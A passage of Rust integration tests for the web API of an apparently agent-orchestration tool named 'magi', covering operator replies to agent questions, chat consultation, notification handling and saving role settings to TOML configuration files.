11311
11312 #[tokio::test]
11313 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11314 let fx = Fixture::start().await;
11315 let id = ask(&fx, "No seat", &[]);
11316 let store = fx.questions();
11317 let before = std::fs::read(store.path_of(&id)).unwrap();
11318 let res = fx
11319 .post(
11320 &format!("/api/questions/{id}/say"),
11321 Some(r#"{"body":"hello"}"#),
11322 )
11323 .await;
11324 assert_eq!(res.status, 422, "{}", res.body);
11325 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11326 let res = fx
11327 .post(
11328 &format!("/api/questions/{id}/answer"),
11329 Some(r#"{"text":"hello"}"#),
11330 )
11331 .await;
11332 assert_eq!(res.status, 200, "{}", res.body);
11333 assert_eq!(
11334 store.get(&id).unwrap().resolution().as_deref(),
11335 Some("hello")
11336 );
11337 }
11338
11339 #[tokio::test]
11340 async fn saying_something_appends_a_turn_without_answering() {
11341 let fx = Fixture::start().await;
11342 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11343 fx.questions().beat(&id, ask::WaiterKind::Asker);
11344 let path = format!("/api/questions/{id}/say");
11345
11346 let res = fx
11347 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11348 .await;
11349 assert_eq!(res.status, 200, "{}", res.body);
11350 let body = res.json();
11351 assert_eq!(body["status"], "open", "talking back is not a decision");
11352 assert_eq!(body["answer"], Value::Null);
11353 assert_eq!(body["thread"][0]["who"], "operator");
11354 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11355 assert_eq!(body["waiting_on_agent"], true);
11356 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11358 }
11359
11360 #[tokio::test]
11361 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11362 let fx = Fixture::start().await;
11363 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11364
11365 let list = fx.get("/api/questions").await.json();
11366 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11367
11368 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11369 assert_eq!(res.status, 409, "{}", res.body);
11370 let q = fx.questions().get(&id).unwrap();
11371 assert!(q.status.open());
11372 assert!(q.consult.is_none());
11373 }
11374
11375 #[tokio::test]
11376 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11377 let fx = Fixture::start().await;
11378 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11379 let cfg = Config {
11380 agents: vec![crate::config::AgentSpec {
11381 id: "mock".to_owned(),
11382 kind: crate::config::AgentKind::Command,
11383 model: None,
11384 command: vec!["true".to_owned()],
11385 extra_args: Vec::new(),
11386 env: Default::default(),
11387 prompt_delivery: None,
11388 }],
11389 ..Config::default()
11390 };
11391 let talk = crate::talk::begin(
11392 &fx.talks(),
11393 &cfg,
11394 fx.home.path().to_path_buf(),
11395 Some("mock"),
11396 )
11397 .unwrap();
11398 let mut task = Task::new(
11399 "t".to_owned(),
11400 "Do it".to_owned(),
11401 PathBuf::from("/repo/magi"),
11402 Source::Agent {
11403 run: talk.id.clone(),
11404 node: crate::queue::CHAT_NODE.to_owned(),
11405 },
11406 );
11407 task.start("20260902-000000-beef".to_owned());
11408 fx.queue().put(&mut task).unwrap();
11409
11410 let list = fx.get("/api/questions").await.json();
11411 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11412 assert_eq!(
11413 list[0]["choices"],
11414 serde_json::json!(["SQLite", "Redis"]),
11415 "the hand-over is never a choice"
11416 );
11417 fx.questions()
11418 .update(&id, |q| {
11419 q.node = crate::land::APPROVAL_NODE.into();
11420 q.choices = vec!["merge".into(), "hold".into()];
11421 Ok(())
11422 })
11423 .unwrap();
11424 let list = fx.get("/api/questions").await.json();
11425 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11426 assert_eq!(list[0]["can_consult_chat"], true);
11427 fx.questions()
11428 .update(&id, |q| {
11429 q.node = crate::bump::NOTICE_NODE.into();
11430 Ok(())
11431 })
11432 .unwrap();
11433 let list = fx.get("/api/questions").await.json();
11434 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11435 assert_eq!(list[0]["can_consult_chat"], false);
11436 }
11437
11438 #[tokio::test]
11439 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11440 let fx = Fixture::start().await;
11441 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11442 fx.questions()
11443 .update(&id, |q| {
11444 q.node = crate::land::APPROVAL_NODE.into();
11445 q.choices = vec!["merge".into(), "hold".into()];
11446 Ok(())
11447 })
11448 .unwrap();
11449 let cfg = Config {
11450 agents: vec![crate::config::AgentSpec {
11451 id: "mock".to_owned(),
11452 kind: crate::config::AgentKind::Command,
11453 model: None,
11454 command: vec!["true".to_owned()],
11455 extra_args: Vec::new(),
11456 env: Default::default(),
11457 prompt_delivery: None,
11458 }],
11459 ..Config::default()
11460 };
11461 let repo = fx.home.path().join("chat-repo");
11463 std::fs::create_dir_all(&repo).unwrap();
11464 let toml = repo.join("magi.toml");
11465 std::fs::write(&toml, "this is = = not toml").unwrap();
11466 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11467 let mut task = Task::new(
11468 "t".to_owned(),
11469 "Do it".to_owned(),
11470 PathBuf::from("/repo/magi"),
11471 Source::Agent {
11472 run: talk.id.clone(),
11473 node: crate::queue::CHAT_NODE.to_owned(),
11474 },
11475 );
11476 task.start("20260902-000000-beef".to_owned());
11477 fx.queue().put(&mut task).unwrap();
11478
11479 let path = format!("/api/questions/{id}/consult");
11480 let res = fx.post(&path, None).await;
11481 assert!(res.status >= 400, "{}", res.body);
11482 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11483 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11484
11485 std::fs::write(&toml, "").unwrap();
11486 let res = fx.post(&path, None).await;
11487 assert_eq!(res.status, 202, "{}", res.body);
11488 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11489 let q = fx.questions().get(&id).unwrap();
11490 assert!(q.status.open());
11491 assert!(q.answer.is_none());
11492 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11493 assert_eq!(res.json()["can_consult_chat"], true);
11494 let list = fx.get("/api/questions").await.json();
11495 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11496 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11497
11498 let res = fx
11499 .post(
11500 &format!("/api/questions/{id}/answer"),
11501 Some(r#"{"choice":"hold"}"#),
11502 )
11503 .await;
11504 assert_eq!(res.status, 200, "{}", res.body);
11505 assert_eq!(res.json()["answer"]["choice"], "hold");
11506 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11507 assert_eq!(res.json()["can_consult_chat"], false);
11508 assert_eq!(fx.post(&path, None).await.status, 409);
11509
11510 let mut talk = fx.talks().get(&talk.id).unwrap();
11511 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11512 let list = fx.get("/api/questions").await.json();
11513 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11514 assert_eq!(list[0]["origin_chat_closed"], true);
11515 assert_eq!(list[0]["can_consult_chat"], false);
11516
11517 fx.talks().remove(&talk.id).unwrap();
11518 let list = fx.get("/api/questions").await.json();
11519 assert_eq!(list[0]["origin_chat"], Value::Null);
11520 assert_eq!(list[0]["origin_chat_closed"], false);
11521 assert_eq!(list[0]["can_consult_chat"], false);
11522 }
11523
11524 #[tokio::test]
11525 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11526 let fx = Fixture::start().await;
11527 let store = fx.questions();
11528 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11529 store.beat(&id, ask::WaiterKind::Asker);
11530 assert_eq!(
11531 fx.get("/api/health").await.json()["questions_needs_owner"],
11532 1
11533 );
11534
11535 let res = fx
11541 .post(
11542 &format!("/api/questions/{id}/say"),
11543 Some(r#"{"body":"why not Postgres?"}"#),
11544 )
11545 .await;
11546 assert_eq!(res.status, 200, "{}", res.body);
11547 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11548 assert_eq!(
11549 fx.get("/api/health").await.json()["questions_needs_owner"],
11550 0,
11551 "waiting on the agent is not waiting on the owner"
11552 );
11553
11554 let mut q = store.get(&id).expect("get");
11558 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11559 .expect("reply");
11560 store.put(&mut q).expect("put");
11561 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11562 assert_eq!(
11563 fx.get("/api/health").await.json()["questions_needs_owner"],
11564 1,
11565 "the agent's reply is what should light the banner back up"
11566 );
11567 }
11568
11569 #[tokio::test]
11570 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11571 let fx = Fixture::start().await;
11572 let store = fx.questions();
11573
11574 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11575 let res = fx
11576 .post(
11577 &format!("/api/questions/{empty_id}/say"),
11578 Some(r#"{"body":" "}"#),
11579 )
11580 .await;
11581 assert_eq!(res.status, 400, "{}", res.body);
11582
11583 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11584 let mut answered = store.get(&answered_id).expect("get");
11585 answered
11586 .answer(Answer::Choice("SQLite".to_owned()))
11587 .expect("answer");
11588 store.put(&mut answered).expect("put");
11589 let res = fx
11590 .post(
11591 &format!("/api/questions/{answered_id}/say"),
11592 Some(r#"{"body":"still there?"}"#),
11593 )
11594 .await;
11595 assert_eq!(res.status, 409, "{}", res.body);
11596
11597 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11598 let mut abandoned = store.get(&abandoned_id).expect("get");
11599 abandoned.abandon("timed out");
11600 store.put(&mut abandoned).expect("put");
11601 let res = fx
11602 .post(
11603 &format!("/api/questions/{abandoned_id}/say"),
11604 Some(r#"{"body":"still there?"}"#),
11605 )
11606 .await;
11607 assert_eq!(res.status, 409, "{}", res.body);
11608 }
11609
11610 #[tokio::test]
11611 async fn an_answer_the_question_does_not_offer_is_refused() {
11612 let fx = Fixture::start().await;
11613 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11614 let path = format!("/api/questions/{id}/answer");
11615
11616 for body in [
11617 r#"{"choice":"Postgres"}"#,
11618 r#"{"text":"whatever you think"}"#,
11619 r#"{"choice":"Redis","text":"both"}"#,
11620 r#"{}"#,
11621 ] {
11622 let res = fx.post(&path, Some(body)).await;
11623 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11624 assert!(res.json()["error"].is_string(), "{}", res.body);
11625 }
11626 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11628 }
11629
11630 #[tokio::test]
11631 async fn a_free_text_question_takes_text_and_not_a_choice() {
11632 let fx = Fixture::start().await;
11633 let id = ask(&fx, "What should the flag be called?", &[]);
11634 fx.questions().beat(&id, ask::WaiterKind::Asker);
11635 let path = format!("/api/questions/{id}/answer");
11636
11637 assert_eq!(
11638 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11639 400
11640 );
11641 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11642 assert_eq!(res.status, 200, "{}", res.body);
11643 assert_eq!(res.json()["answer"]["text"], "--json");
11644 }
11645
11646 #[tokio::test]
11647 async fn an_unknown_question_is_a_json_404() {
11648 let fx = Fixture::start().await;
11649 let res = fx
11650 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11651 .await;
11652 assert_eq!(res.status, 404, "{}", res.body);
11653 assert!(res.json()["error"].is_string());
11654 }
11655
11656 #[tokio::test]
11657 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11658 let fx = Fixture::start().await;
11659 let questions = Questions::at(fx.home.path().join("questions"));
11660 let store = Notices::at(fx.home.path().join("notifications"));
11661 let mut q = ask::Question::new(
11662 "t1".into(),
11663 "conduct".into(),
11664 "conductor".into(),
11665 "Continue?".into(),
11666 String::new(),
11667 Vec::new(),
11668 );
11669 questions.put(&mut q).unwrap();
11670 let mut n = Notice::warn("task:t1", "Task t1 is held.");
11671 n.covered_by = Some(q.id.clone());
11672 let n = store.raise(n).unwrap();
11673 let listed = fx.get("/api/notifications").await.json();
11674 assert_eq!(listed["items"][0]["answerable_question"], q.id);
11675 questions
11676 .update(&q.id, |q| {
11677 q.abandon("run gone");
11678 Ok(())
11679 })
11680 .unwrap();
11681 let listed = fx.get("/api/notifications").await.json();
11682 assert!(listed["items"][0]["answerable_question"].is_null());
11683 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11684 assert!(
11685 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11686 .unwrap()
11687 .contains("answerable_question")
11688 );
11689 }
11690
11691 #[tokio::test]
11692 async fn notifications_list_read_dismiss_and_health_agree() {
11693 let fx = Fixture::start().await;
11694 let store = Notices::at(fx.home.path().join("notifications"));
11695 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11696 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11697
11698 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11699 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11700
11701 store
11702 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11703 .unwrap();
11704 let health = fx.get("/api/health").await.json();
11705 assert_eq!(health["notifications_unread"], 2);
11706 assert_ne!(
11707 health["notifications_rev"], rev0,
11708 "the badge must move live"
11709 );
11710
11711 let listed = fx.get("/api/notifications").await.json();
11712 assert_eq!(listed["unread"], 2);
11713 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11714 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11715
11716 let read = fx
11717 .post(&format!("/api/notifications/{}/read", a.id), None)
11718 .await;
11719 assert_eq!(read.status, 200, "{}", read.body);
11720 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11721
11722 let gone = fx
11723 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11724 .await;
11725 assert_eq!(gone.status, 200, "{}", gone.body);
11726 let listed = fx.get("/api/notifications").await.json();
11727 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11728 assert_eq!(listed["unread"], 0);
11729
11730 store.raise(Notice::info("x", "again")).unwrap();
11731 let all = fx.post("/api/notifications/read-all", None).await;
11732 assert_eq!(all.status, 200, "{}", all.body);
11733 assert_eq!(all.json()["marked"], 1);
11734 assert_eq!(
11735 fx.get("/api/health").await.json()["notifications_unread"],
11736 0
11737 );
11738
11739 let missing = fx.post("/api/notifications/nope/read", None).await;
11740 assert_eq!(missing.status, 404, "{}", missing.body);
11741 assert!(missing.json()["error"].is_string());
11742 }
11743
11744 #[tokio::test]
11751 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11752 let f = Fixture::start().await;
11753
11754 let res = f
11755 .post(
11756 "/api/queue",
11757 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11758 )
11759 .await;
11760
11761 assert_eq!(
11762 res.status, 405,
11763 "POST /api/queue must not be a route: {}",
11764 res.body
11765 );
11766 assert!(
11767 f.queue().list().is_empty(),
11768 "a task filed by a route that does not exist must not reach the disk"
11769 );
11770 assert_eq!(f.get("/api/queue").await.status, 200);
11773 }
11774
11775 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11777 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11778 .expect("checkout dir");
11779 }
11780
11781 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11783
11784 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11785 let tmp = TempDir::new().expect("tempdir");
11786 let repo = tmp.path().join("repo");
11787 std::fs::create_dir_all(&repo).expect("repo dir");
11788 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11789 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11790 if let Some(text) = machine_toml {
11791 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11792 std::fs::write(&machine, text).expect("machine toml");
11793 }
11794 (tmp, repo, machine)
11795 }
11796
11797 async fn settings_checkout(path: &FsPath, text: &str) {
11798 std::fs::create_dir_all(path).unwrap();
11799 std::fs::write(path.join("magi.toml"), text).unwrap();
11800 for args in [
11801 vec!["init", "-b", "main"],
11802 vec!["add", "magi.toml"],
11803 vec![
11804 "-c",
11805 "user.name=Test",
11806 "-c",
11807 "user.email=test@example.invalid",
11808 "commit",
11809 "-m",
11810 "fixture",
11811 ],
11812 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11813 vec![
11814 "symbolic-ref",
11815 "refs/remotes/origin/HEAD",
11816 "refs/remotes/origin/main",
11817 ],
11818 ] {
11819 crate::git::git(path, &args).await.unwrap();
11820 }
11821 }
11822
11823 #[tokio::test]
11824 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11825 let (tmp, repo, machine) =
11826 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11827 let root = tmp.path().join("roots");
11828 let selected = root.join("host/owner/selected");
11829 settings_checkout(
11830 &selected,
11831 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11832 )
11833 .await;
11834 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11835 let before = std::fs::read(&machine).unwrap();
11836 let ui = Arc::new(
11837 Ui::new(
11838 Queue::at(tmp.path().join("queue")),
11839 Questions::at(tmp.path().join("questions")),
11840 Talks::at(tmp.path().join("talks")),
11841 tmp.path().join("runs"),
11842 tmp.path().to_path_buf(),
11843 repo.clone(),
11844 )
11845 .with_machine_config(Some(machine.clone())),
11846 );
11847 let query = || {
11848 Query(SettingsQuery {
11849 repo: Some(selected.clone()),
11850 })
11851 };
11852 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11853 assert!(v.error.is_none(), "{:?}", v.error);
11854 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11855 assert_eq!(conductor.source, "repo");
11856 assert_eq!(
11857 conductor.machine_value,
11858 Some(toml::Value::String("a".into()))
11859 );
11860 assert!(!conductor.editable);
11861 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11862 assert_eq!(
11863 judges.count.as_ref().unwrap().machine_value,
11864 Some(toml::Value::Integer(1))
11865 );
11866 assert!(
11867 !v.roles
11868 .iter()
11869 .find(|r| r.key == "reviewers")
11870 .unwrap()
11871 .editable
11872 );
11873 let unknown = || {
11874 Query(SettingsQuery {
11875 repo: Some(tmp.path().to_path_buf()),
11876 })
11877 };
11878 assert_eq!(
11879 settings_get(State(ui.clone()), unknown())
11880 .await
11881 .unwrap_err()
11882 .status,
11883 StatusCode::UNPROCESSABLE_ENTITY
11884 );
11885 let body = || {
11886 Ok(Json(RolesBody {
11887 revision: v.revision.clone(),
11888 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11889 counts: Default::default(),
11890 }))
11891 };
11892 assert_eq!(
11893 settings_put_roles(State(ui.clone()), unknown(), body())
11894 .await
11895 .unwrap_err()
11896 .status,
11897 StatusCode::UNPROCESSABLE_ENTITY
11898 );
11899 assert_eq!(std::fs::read(&machine).unwrap(), before);
11900 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11901 .await
11902 .unwrap();
11903 assert_eq!(
11904 saved.repo,
11905 selected.canonicalize().unwrap().display().to_string()
11906 );
11907 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11908 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11909 let fresh = root.join("host/owner/fresh");
11911 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11912 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11913 .await
11914 .unwrap();
11915 assert_eq!(fresh_view.repositories.len(), 3);
11916 }
11917
11918 #[tokio::test]
11919 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11920 let (tmp, repo, machine) = settings_dirs(
11921 "[roles]\nreviewers = [\"a\"]\n",
11922 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11923 );
11924 let root = tmp.path().join("roots");
11925 let selected = root.join("host/owner/selected");
11926 settings_checkout(
11927 &selected,
11928 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11929 )
11930 .await;
11931 let broken = root.join("host/owner/broken");
11932 settings_checkout(&broken, "[roles\nbroken").await;
11933 let machine_text = format!(
11934 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11935 toml::Value::String(root.display().to_string())
11936 );
11937 std::fs::write(&machine, &machine_text).unwrap();
11938 let originals: Vec<_> = [&repo, &selected, &broken]
11939 .iter()
11940 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11941 .collect();
11942 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11943 let default = f.get("/api/settings").await.json();
11944 assert_eq!(
11945 default["repo"],
11946 repo.canonicalize().unwrap().display().to_string()
11947 );
11948 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11949 let query = format!("?repo={}", selected.display());
11950 let res = f.get(&format!("/api/settings{query}")).await;
11951 assert_eq!(res.status, 200, "{}", res.body);
11952 let v = res.json();
11953 assert!(v["error"].is_null(), "{v}");
11954 assert_eq!(v["repositories"], default["repositories"]);
11955 let role = |key: &str| {
11956 v["roles"]
11957 .as_array()
11958 .unwrap()
11959 .iter()
11960 .find(|r| r["key"] == key)
11961 .unwrap()
11962 };
11963 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11964 assert_eq!(role("advisors")["source"], "repo");
11965 assert_eq!(role("advisors")["editable"], false);
11966 assert!(role("advisors")["machine_value"].is_null());
11967 assert_eq!(role("judges")["count"]["value"], 2);
11968 assert_eq!(role("judges")["count"]["machine_value"], 1);
11969 assert_eq!(role("judges")["count"]["source"], "repo");
11970 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11971 assert!(
11972 source.contains("origin/main") && !source.contains("magi/config/"),
11973 "{source}"
11974 );
11975 assert_eq!(
11976 role("reviewers")["editable"],
11977 false,
11978 "default context outside roots must protect its declarations"
11979 );
11980 let body =
11981 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11982 let unknown = format!("?repo={}", tmp.path().display());
11983 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11984 assert_eq!(
11985 f.put(&format!("/api/settings/roles{unknown}"), &body)
11986 .await
11987 .status,
11988 422
11989 );
11990 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11991 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11992 .to_string();
11993 assert_eq!(
11994 f.put(&format!("/api/settings/roles{query}"), &refuse)
11995 .await
11996 .status,
11997 422
11998 );
11999 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12000 assert_eq!(saved.status, 200, "{}", saved.body);
12001 assert_eq!(saved.json()["repo"], v["repo"]);
12002 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12003 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12004 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12005 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12006 }
12007 let error = f
12008 .get(&format!("/api/settings?repo={}", broken.display()))
12009 .await;
12010 assert_eq!(error.status, 200);
12011 assert!(error.json()["error"]["message"].is_string());
12012 assert_eq!(error.json()["repositories"], default["repositories"]);
12013 }
12014
12015 #[tokio::test]
12016 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12017 let (_tmp, repo, machine) =
12018 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12019 let f = Fixture::with_repo_and_machine(repo, machine).await;
12020 let res = f.get("/api/settings").await;
12021 assert_eq!(res.status, 200, "{}", res.body);
12022 let v = res.json();
12023 assert!(v["error"].is_null(), "{v}");
12024 let role = |k: &str| {
12025 v["roles"]
12026 .as_array()
12027 .and_then(|r| r.iter().find(|x| x["key"] == k))
12028 .cloned()
12029 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12030 };
12031 assert_eq!(role("judges")["source"], "machine");
12032 assert_eq!(role("judges")["editable"], true);
12033 assert_eq!(role("implementers")["source"], "default");
12034 let adv = role("advisors");
12035 assert_eq!(adv["fallback"], "judges");
12036 assert!(
12037 adv["seats"]
12038 .as_array()
12039 .is_some_and(|s| s.iter().all(|x| x == "b")),
12040 "{adv}"
12041 );
12042 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12043 assert_eq!(v["agents"][0]["source"], "repo");
12044 }
12045
12046 #[tokio::test]
12047 async fn settings_get_reports_a_config_that_does_not_parse() {
12048 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12049 let f = Fixture::with_repo_and_machine(repo, machine).await;
12050 let res = f.get("/api/settings").await;
12051 assert_eq!(res.status, 200, "{}", res.body);
12052 let v = res.json();
12053 assert!(v["error"]["message"].is_string(), "{v}");
12054 assert!(
12055 v["error"]["path"]
12056 .as_str()
12057 .is_some_and(|p| p.ends_with("magi.toml")),
12058 "{v}"
12059 );
12060 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12061 }
12062
12063 #[tokio::test]
12064 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12065 let (_tmp, repo, machine) = settings_dirs(
12066 SETTINGS_AGENTS,
12067 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12068 );
12069 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12070 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12071 let rev = f.get("/api/settings").await.json()["revision"]
12072 .as_str()
12073 .expect("revision")
12074 .to_owned();
12075 let body = serde_json::json!({
12076 "revision": rev,
12077 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12078 })
12079 .to_string();
12080 let res = f.put("/api/settings/roles", &body).await;
12081 assert_eq!(res.status, 200, "{}", res.body);
12082 let text = std::fs::read_to_string(&machine).expect("machine");
12083 assert_eq!(
12084 text,
12085 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12086 );
12087 assert_eq!(
12088 std::fs::read(repo.join("magi.toml")).expect("read"),
12089 repo_before
12090 );
12091 let again = f.get("/api/settings").await.json();
12092 let judges = again["roles"]
12093 .as_array()
12094 .expect("roles")
12095 .iter()
12096 .find(|r| r["key"] == "judges")
12097 .expect("judges")
12098 .clone();
12099 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12100 let stale = f.put("/api/settings/roles", &body).await;
12102 assert_eq!(stale.status, 409, "{}", stale.body);
12103 }
12104
12105 #[tokio::test]
12106 async fn settings_counts_are_reported_and_saved() {
12107 let (_tmp, repo, machine) = settings_dirs(
12108 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12109 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12110 );
12111 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12112 let v = f.get("/api/settings").await.json();
12113 let count = |v: &serde_json::Value, k: &str| {
12114 v["roles"]
12115 .as_array()
12116 .and_then(|r| r.iter().find(|x| x["key"] == k))
12117 .map(|x| x["count"].clone())
12118 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12119 };
12120 let imp = count(&v, "implementers");
12121 assert_eq!(imp["value"], 2);
12122 assert_eq!(imp["source"], "machine");
12123 assert_eq!(imp["file_key"], "candidates");
12124 assert_eq!(imp["roster_len"], 2);
12125 assert_eq!(imp["backups"], 0);
12126 assert_eq!(count(&v, "judges")["source"], "default");
12127 assert_eq!(count(&v, "advisors")["min"], 0);
12128 assert_eq!(count(&v, "reviewers")["editable"], false);
12129 assert!(
12130 count(&v, "reviewers")["locked_reason"]
12131 .as_str()
12132 .is_some_and(|m| m.contains("graph.reviewers"))
12133 );
12134 assert!(count(&v, "fixer").is_null());
12135 let rev = v["revision"].as_str().expect("revision").to_owned();
12136 let body = serde_json::json!({
12137 "revision": rev,
12138 "roles": { "judges": ["b"] },
12139 "counts": { "implementers": 1, "advisors": 0 }
12140 })
12141 .to_string();
12142 let res = f.put("/api/settings/roles", &body).await;
12143 assert_eq!(res.status, 200, "{}", res.body);
12144 let text = std::fs::read_to_string(&machine).expect("machine");
12145 assert_eq!(
12146 text,
12147 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12148 );
12149 let after = f.get("/api/settings").await.json();
12150 assert_eq!(count(&after, "implementers")["value"], 1);
12151 assert_eq!(count(&after, "implementers")["backups"], 1);
12152 assert_eq!(count(&after, "advisors")["value"], 0);
12153 let before = std::fs::read_to_string(&machine).expect("machine");
12154 let rev = after["revision"].as_str().expect("revision").to_owned();
12155 for counts in [
12156 serde_json::json!({ "judges": 0 }),
12157 serde_json::json!({ "judges": "x" }),
12158 serde_json::json!({ "judges": 2.5 }),
12159 serde_json::json!({ "judges": -1 }),
12160 serde_json::json!({ "reviewers": 3 }),
12161 serde_json::json!({ "bogus": 3 }),
12162 ] {
12163 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12164 let res = f.put("/api/settings/roles", &body).await;
12165 assert_eq!(res.status, 422, "{counts}: {}", res.body);
